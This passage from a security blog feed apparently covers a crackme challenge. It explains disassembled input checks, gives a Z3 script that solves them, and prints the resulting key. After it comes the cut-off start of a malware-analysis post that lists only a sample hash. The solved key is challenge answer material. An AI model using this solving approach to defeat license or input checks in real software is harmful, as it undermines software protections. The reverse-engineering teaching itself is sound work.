&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">if&lt;/span> ((buffer._16_8_ &lt;span style="color:#fe8019">^&lt;/span> buffer._8_8_) &lt;span style="color:#fe8019">!=&lt;/span> &lt;span style="color:#d3869b">0x231f0b21595d0455&lt;/span>) &lt;span style="color:#fe8019">goto&lt;/span> L_ERROR;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If all of the above checks succeed, then the application decrypts the blob found at offset &lt;code>0x000711e0&lt;/code> and as shown in the decompiled view at &lt;code>part:0x06&lt;/code> will load the correct PNG image.&lt;/p>
&lt;p>We can avoid reversing the decryption logic and let the application present us the image by solving the constraints enforced in the above checks.&lt;/p>
&lt;p>&lt;a href="https://github.com/Z3Prover/z3">Z3 SMT&lt;/a> can be used to achieve this:&lt;/p>
&lt;p>&lt;strong>Install Z3&lt;/strong>&lt;/p>
&lt;pre tabindex="0">&lt;code>$ pip install -U z3-solver
&lt;/code>&lt;/pre>&lt;p>&lt;strong>Solution&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">from&lt;/span> z3 &lt;span style="color:#fe8019">import&lt;/span> &lt;span style="color:#fe8019">*&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>TOTAL_ITEMS &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#d3869b">24&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>u16 &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">lambda&lt;/span> x, y: Concat(x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">1&lt;/span>], x[y])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>u32 &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">lambda&lt;/span> x, y: Concat(x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">3&lt;/span>], x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">2&lt;/span>], x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">1&lt;/span>], x[y])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>u64 &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">lambda&lt;/span> x, y: Concat(x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">7&lt;/span>], x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">6&lt;/span>], x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">5&lt;/span>], x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">4&lt;/span>], x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">3&lt;/span>], x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">2&lt;/span>], x[y &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">1&lt;/span>], x[y])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>solver &lt;span style="color:#fe8019">=&lt;/span> Solver()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">0010127b 48 8b 75 08 MOV RSI,qword ptr [RBP + 0x8] ; second parameter
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">[...]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101283 ba 18 00 MOV EDX,0x18 ; third parameter
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 00 00
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101288 48 8d 7c LEA RDI=&amp;gt;buffer,[RSP + 0x50] ; first parameter
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 50
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">0010128d 48 c7 44 MOV qword ptr [RSP + 0x60]=&amp;gt;buffer[16],0x0
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 60 00
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 00 00 00
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101296 c6 44 24 MOV byte ptr [RSP + 0x68]=&amp;gt;local_40,0x0
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 68 00
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">[...]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012a0 e8 db fe CALL libc.so.6::strncpy
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> ff ff
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>x &lt;span style="color:#fe8019">=&lt;/span> [ BitVec(&lt;span style="color:#b8bb26">f&lt;/span>&lt;span style="color:#b8bb26">&amp;#39;x[&lt;/span>&lt;span style="color:#b8bb26">{&lt;/span>ix&lt;span style="color:#b8bb26">}&lt;/span>&lt;span style="color:#b8bb26">]&amp;#39;&lt;/span>, &lt;span style="color:#d3869b">8&lt;/span>) &lt;span style="color:#fe8019">for&lt;/span> ix &lt;span style="color:#fe8019">in&lt;/span> &lt;span style="color:#fabd2f">range&lt;/span>(TOTAL_ITEMS) ]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39; Printable characters: http://facweb.cs.depaul.edu/sjost/it212/documents/ascii-pr.htm &amp;#39;&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>solver&lt;span style="color:#fe8019">.&lt;/span>add(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [x_i &lt;span style="color:#fe8019">&amp;gt;=&lt;/span> &lt;span style="color:#fabd2f">ord&lt;/span>(&lt;span style="color:#b8bb26">&amp;#39; &amp;#39;&lt;/span>) &lt;span style="color:#fe8019">for&lt;/span> x_i &lt;span style="color:#fe8019">in&lt;/span> x] &lt;span style="color:#fe8019">+&lt;/span> [x_i &lt;span style="color:#fe8019">&amp;lt;=&lt;/span> &lt;span style="color:#fabd2f">ord&lt;/span>(&lt;span style="color:#b8bb26">&amp;#39;~&amp;#39;&lt;/span>) &lt;span style="color:#fe8019">for&lt;/span> x_i &lt;span style="color:#fe8019">in&lt;/span> x]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012a5 0f b7 54 MOVZX EDX,word ptr [RSP + 0x60]=&amp;gt;buffer[16]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 60
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012aa 0f b7 44 MOVZX EAX,word ptr [RSP + 0x66]=&amp;gt;buffer[22]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 66
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012af 01 d0 ADD EAX,EDX ; (word)buffer[16] + word(buffer[22])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012b1 0f b7 54 MOVZX EDX,word ptr [RSP + 0x58]=&amp;gt;buffer[8]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 58
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012b6 29 d0 SUB EAX,EDX ; (word)buffer[16] + word(buffer[22]) - word(buffer[8])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012b8 0f b7 54 MOVZX EDX,word ptr [RSP + 0x5e]=&amp;gt;buffer[14]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 5e
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012bd 29 d0 SUB EAX,EDX ; (word)buffer[16] + word(buffer[22]) - word(buffer[8]) - word(buffer[14])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012bf 3d d4 1c CMP EAX,0x1cd4 ; if result != 0x1cd4 : goto L_ERROR
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 00 00
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012c4 75 25 JNZ L_ERROR
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>solver&lt;span style="color:#fe8019">.&lt;/span>add(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> u16(x, &lt;span style="color:#d3869b">16&lt;/span>) &lt;span style="color:#fe8019">+&lt;/span> u16(x, &lt;span style="color:#d3869b">22&lt;/span>) &lt;span style="color:#fe8019">-&lt;/span> u16(x, &lt;span style="color:#d3869b">8&lt;/span>) &lt;span style="color:#fe8019">-&lt;/span> u16(x, &lt;span style="color:#d3869b">14&lt;/span>) &lt;span style="color:#fe8019">==&lt;/span> BitVecVal(&lt;span style="color:#d3869b">0x1cd4&lt;/span>, &lt;span style="color:#d3869b">16&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012c6 0f b7 54 MOVZX EDX,word ptr [RSP + 0x56]=&amp;gt;buffer[6]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 56
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012cb 0f b7 44 MOVZX EAX,word ptr [RSP + 0x52]=&amp;gt;buffer[2]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 52
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012d0 01 d0 ADD EAX,EDX ; word(buffer[6]) + word(buffer[2])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012d2 0f b7 54 MOVZX EDX,word ptr [RSP + 0x5a]=&amp;gt;buffer[10]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 5a
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012d7 29 d0 SUB EAX,EDX ; word(buffer[6]) + word(buffer[2]) - word(buffer[10])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012d9 0f b7 54 MOVZX EDX,word ptr [RSP + 0x64]=&amp;gt;buffer[20]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 64
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012de 01 d0 ADD EAX,EDX ; word(buffer[6]) + word(buffer[2]) - word(buffer[10]) + word(buffer[20])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012e0 3d 99 d8 CMP EAX,0xd899 ; if result != 0xd899 : goto L_ERROR
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 00 00
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001012e5 0f 84 c3 JZ L_NEXT_CHECK
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>solver&lt;span style="color:#fe8019">.&lt;/span>add(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> u16(x, &lt;span style="color:#d3869b">6&lt;/span>) &lt;span style="color:#fe8019">+&lt;/span> u16(x, &lt;span style="color:#d3869b">2&lt;/span>) &lt;span style="color:#fe8019">-&lt;/span> u16(x, &lt;span style="color:#d3869b">10&lt;/span>) &lt;span style="color:#fe8019">+&lt;/span> u16(x, &lt;span style="color:#d3869b">20&lt;/span>) &lt;span style="color:#fe8019">==&lt;/span> BitVecVal(&lt;span style="color:#d3869b">0xd899&lt;/span>, &lt;span style="color:#d3869b">16&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001013ae 4c 8b 44 MOV R8,qword ptr [RSP + 0x60]=&amp;gt;buffer[16]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 60
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001013b3 48 8b 54 MOV RDX,qword ptr [RSP + 0x50]=&amp;gt;buffer[0]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 50
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001013b8 48 b8 72 MOV RAX,0xa04233a475d1b72
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 1b 5d 47
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 3a 23 04 0a
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001013c2 4c 31 c2 XOR RDX,R8 ; qword(buffer[0]) ^ qword(buffer[16])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001013c5 48 39 c2 CMP RDX,RAX ; if result != 0xa04233a475d1b72 : goto L_ERROR
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001013c8 0f 85 1d JNZ L_ERROR
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>solver&lt;span style="color:#fe8019">.&lt;/span>add(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> u64(x, &lt;span style="color:#d3869b">0&lt;/span>) &lt;span style="color:#fe8019">^&lt;/span> u64(x, &lt;span style="color:#d3869b">16&lt;/span>) &lt;span style="color:#fe8019">==&lt;/span> BitVecVal(&lt;span style="color:#d3869b">0xa04233a475d1b72&lt;/span>, &lt;span style="color:#d3869b">64&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">0010141d 8b 54 24 50 MOV EDX,dword ptr [RSP + 0x50]=&amp;gt;buffer[0] ; dword(buffer[0])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101421 8b 44 24 64 MOV EAX,dword ptr [RSP + 0x64]=&amp;gt;buffer[20] ; dword(buffer[20])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101425 8b 5c 24 58 MOV EBX,dword ptr [RSP + 0x58]=&amp;gt;buffer[8] ; dword(buffer[8])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101429 8d 04 50 LEA EAX,[RAX + RDX*0x2] ; EAX = RAX + 2 * RDX = dword(buffer[20]) + 2 * dword(buffer[0])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">0010142c 8d 14 9d LEA EDX,[RBX*0x4] ; EDX = 4 * RBX = 4 * dword(buffer[8])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 00 00 00 00
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101433 29 d0 SUB EAX,EDX ; dword(buffer[20]) + 2 * dword(buffer[0]) - 4 * dword(buffer[8])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101435 8b 54 24 60 MOV EDX,dword ptr [RSP + 0x60]=&amp;gt;buffer[16] ; dword(buffer[16])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101439 c1 ea 03 SHR EDX,0x3 ; dword(buffer[16]) &amp;gt;&amp;gt; 3
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">0010143c 29 d0 SUB EAX,EDX ; dword(buffer[20]) + 2 * dword(buffer[0]) - 4 * dword(buffer[8]) - (dword(buffer[16]) &amp;gt;&amp;gt; 3)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">0010143e 8b 54 24 54 MOV EDX,dword ptr [RSP + 0x54]=&amp;gt;buffer[4] ; dword(buffer[4])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101442 c1 ea 03 SHR EDX,0x3 ; dword(buffer[4]) &amp;gt;&amp;gt; 3
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101445 29 d0 SUB EAX,EDX ; dword(buffer[20]) + 2 * dword(buffer[0]) - 4 * dword(buffer[8]) - (dword(buffer[16]) &amp;gt;&amp;gt; 3) - (dword(buffer[4]) &amp;gt;&amp;gt; 3)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101447 3d 9c 46 CMP EAX,0x4b5469c ; if result != 0x4b5469c : goto L_ERROR
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> b5 04
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">0010144c 0f 85 99 JNZ L_ERROR
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> fe ff ff
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>solver&lt;span style="color:#fe8019">.&lt;/span>add(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> u32(x, &lt;span style="color:#d3869b">20&lt;/span>) &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#d3869b">2&lt;/span> &lt;span style="color:#fe8019">*&lt;/span> u32(x, &lt;span style="color:#d3869b">0&lt;/span>) &lt;span style="color:#fe8019">-&lt;/span> &lt;span style="color:#d3869b">4&lt;/span> &lt;span style="color:#fe8019">*&lt;/span> u32(x, &lt;span style="color:#d3869b">8&lt;/span>) &lt;span style="color:#fe8019">-&lt;/span> (u32(x, &lt;span style="color:#d3869b">16&lt;/span>) &lt;span style="color:#fe8019">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#d3869b">3&lt;/span>) &lt;span style="color:#fe8019">-&lt;/span> (u32(x, &lt;span style="color:#d3869b">4&lt;/span>) &lt;span style="color:#fe8019">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#d3869b">3&lt;/span>) &lt;span style="color:#fe8019">==&lt;/span> BitVecVal(&lt;span style="color:#d3869b">0x4b5469c&lt;/span>, &lt;span style="color:#d3869b">32&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">001013ae 4c 8b 44 MOV R8,qword ptr [RSP + 0x60]=&amp;gt;buffer[16]; qword(buffer[16])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 60
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">[...]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101483 48 b8 55 MOV RAX,0x231f0b21595d0455
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 04 5d 59
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 21 0b 1f 23
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">0010148d 4c 33 44 XOR R8,qword ptr [RSP + 0x58]=&amp;gt;buffer[8] ; qword(buffer[16]) ^ qword(buffer[8])
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> 24 58
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101492 49 39 c0 CMP R8,RAX ; qword(buffer[16]) ^ qword(buffer[8]) == 0x231f0b21595d0455
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">00101495 0f 85 50 JNZ L_ERROR
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> fe ff ff
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>solver&lt;span style="color:#fe8019">.&lt;/span>add(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> u64(x, &lt;span style="color:#d3869b">16&lt;/span>) &lt;span style="color:#fe8019">^&lt;/span> u64(x, &lt;span style="color:#d3869b">8&lt;/span>) &lt;span style="color:#fe8019">==&lt;/span> BitVecVal(&lt;span style="color:#d3869b">0x231f0b21595d0455&lt;/span>, &lt;span style="color:#d3869b">64&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">if&lt;/span> solver&lt;span style="color:#fe8019">.&lt;/span>check() &lt;span style="color:#fe8019">==&lt;/span> sat:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> model &lt;span style="color:#fe8019">=&lt;/span> solver&lt;span style="color:#fe8019">.&lt;/span>model()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> result &lt;span style="color:#fe8019">=&lt;/span> [model[x[i]]&lt;span style="color:#fe8019">.&lt;/span>as_long() &lt;span style="color:#fe8019">for&lt;/span> i &lt;span style="color:#fe8019">in&lt;/span> &lt;span style="color:#fabd2f">range&lt;/span>(TOTAL_ITEMS)]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> result &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#b8bb26">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>join(&lt;span style="color:#fabd2f">chr&lt;/span>(c) &lt;span style="color:#fe8019">for&lt;/span> c &lt;span style="color:#fe8019">in&lt;/span> result)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">print&lt;/span>(result)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">print&lt;/span>(&lt;span style="color:#b8bb26">&amp;#39;No solution found.&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;pre tabindex="0">&lt;code>Fr33_M4dam3-De/M4inten0n
&lt;/code>&lt;/pre>&lt;p>&lt;img src="./assets/image-20230530152450395.png" alt="image-20230530152450395">&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://wiki.libsdl.org/SDL2/SDL_RWFromConstMem">https://wiki.libsdl.org/SDL2/SDL_RWFromConstMem&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://z3prover.github.io/api/html/namespacez3py.html">https://z3prover.github.io/api/html/namespacez3py.html&lt;/a>&lt;/li>
&lt;/ul></content></item><item><title>Malware analysis of a random sample (WIP)</title><link>https://blog.mpapad.online/1/01/malware-analysis-of-a-random-sample-wip/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://blog.mpapad.online/1/01/malware-analysis-of-a-random-sample-wip/</guid><description>Sample details SHA256 hash: 87a3845edcf58b9daacb49a9b8d7a966ad6d1ccceff6d82b6b1e8db1486a9921 MD5 hash: 8b8c849a57c6f13fb4e714f0cc70f445 https://bazaar.abuse.ch/sample/87a3845edcf58b9daacb49a9b8d7a966ad6d1ccceff6d82b6b1e8db1486a9921/ Indicators of Compromise Check If traffic is observed to the following C2 addresses or the following files exist in the filesystem:
